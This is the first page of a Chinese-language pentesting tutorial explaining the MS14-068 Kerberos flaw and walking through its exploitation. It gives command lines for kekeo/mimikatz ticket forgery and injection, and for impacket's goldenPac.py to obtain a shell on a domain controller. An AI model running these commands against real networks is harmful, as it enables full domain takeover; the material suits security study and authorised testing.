欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

MS14-068域权限提升漏洞总结

来源:本站整理 作者:佚名 时间:2017-02-14 TAG: 我要投稿

0x01 漏洞起源
说到ms14-068,不得不说silver ticket,也就是银票。银票是一张tgs,也就是一张服务票据。服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控dc验证pac的话,那么客户端可以伪造域管的权限来访问服务器。所以ms14-068的来源和银票是息息相关的。
在mimikatz作者的ppt里面是这样描述的:

所以说这真的是一个大漏洞,允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780。在server 2000以上的域控中,只要没有打这个补丁,那么情况将是非常糟糕的。
https://technet.microsoft.com/library/security/ms14-068.aspx
0x02 漏洞利用
2.1 windows环境下测试
在windows环境下,mimikatz的作者已经写出了一个exploit。
https://github.com/gentilkiwi/kekeo
其中的ms14-068.exe正是此漏洞的利用工具。要测试这个漏洞,前提还是要明白kerberos的整个认证协议过程,不然是不会明白原理的,测试过程中出了什么问题也不知道怎么解决。我们作为渗透测试人员,如果说对windows环境中这么重要的一个认证协议都不了解,我想内网渗透也是浮云吧。
利用这个漏洞,我们需要一个普通域用户的账户名和密码或者是哈希,哈希传递我已经在别的文章中总结了,其实哈希和密码是有相同的效果。以及域名称,该用户的sids。这些都不是重点,重点是如何获得一个域用户的账户,我们在域内的某台机器上面抓取hash或者的明文密码,或者是其他方法等等。
2.1.2 windows下利用过程
测试环境:
域:xxx.com
Dc:dc.xxx.com
Win7:win7-01.xxx.com
首先我们在dc上面检测是否有这个漏洞:

很遗憾,没有打这个补丁。
下面我们在win7上面测试该漏洞。Win7是一台普通的域内机器,普通域用户jack登陆。
测试访问域控的c盘共享:

访问被拒绝。
为了使我们生成的票据起作用,首先我们需要将内存中已有的kerberos票据清除,清除方法是使用mimikatz:
#kerberos::purge

使用ms14-068来产生一张高权限的berberos服务票据,并注入到内存中:
ms14068.exe /domain:xxx.com /user:jack /password:jackpwd/ /ptt

再测试访问:

测试psexec无密码登陆

很棒,达到了我们想要的效果。
如果想生成一张kerberos票据,做票据传递攻击(ptt),可以这样:
ms14068.exe /domain:xxxcom /sid:S-1-5-21-2666969376-4225180350-4077551764 /user:jack /rid:1104 /password:jackpwd/ /aes256 /kdc:dc.xxx.com /ticket:jack_admin.kirbi
再配合mimikatz的ptt功能,将票据导入到内存中。
2.2 kali环境下测试
如果是远程内网环境,首先要做内网代理,这个就不用多说。然后将自己的dns指向域控制器。
Linux下面测试的工具也有很多,当然msf这个漏洞利用框架肯定是少不了这个模块。关于msf的利用过程我这里就不再多讲,给出国外的一篇利用过程:
https://community.rapid7.com/community/metasploit/blog/2014/12/25/12-days-of-haxmas-ms14-068-now-in-metasploit
2.2.1 goldenPac.py
Kali下面利用此漏洞的工具我是强烈推荐impacket工具包里面的goldenPac.py,这个工具是结合ms14-068加psexec的产物,利用起来十分顺手。
Kali下面默认还没有安装kerberos的认证功能,所以我们首先要安装一个kerberos客户端:
apt-get install krb5-user
最简单的办法:
goldenPac.py xxx.com/jack:jackpwd@dc.xxx.com就可以得到一个cmd shell:

当然此工具不止是得到一个shell,我们甚至可以直接让该域控运行我们上传的程序,执行一个empire stager或者一个msf payload都不在话下。
2.2.1 ms14-068.py
https://github.com/bidord/pykek
效果和mimikatz作者写的exploit差不多,这个脚本是产生一张kerberos的票据缓存,这个缓存主要是针对linux上面的kerberos认证的,但是mimikatz也有传递票据缓存的功能(ptc),实际上和mimikatz产生的kirbi格式的票据只是格式不同而已。
当然没有kerberos客户端也不行,如果没有安装记得先安装:
apt-get install krb5-user
这个利用过程需要sid和用户名密码(哈希也可以)。
利用方法:
ms14-068.py -u jack@xxx.com -s jacksid -d dc.xxx.com

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载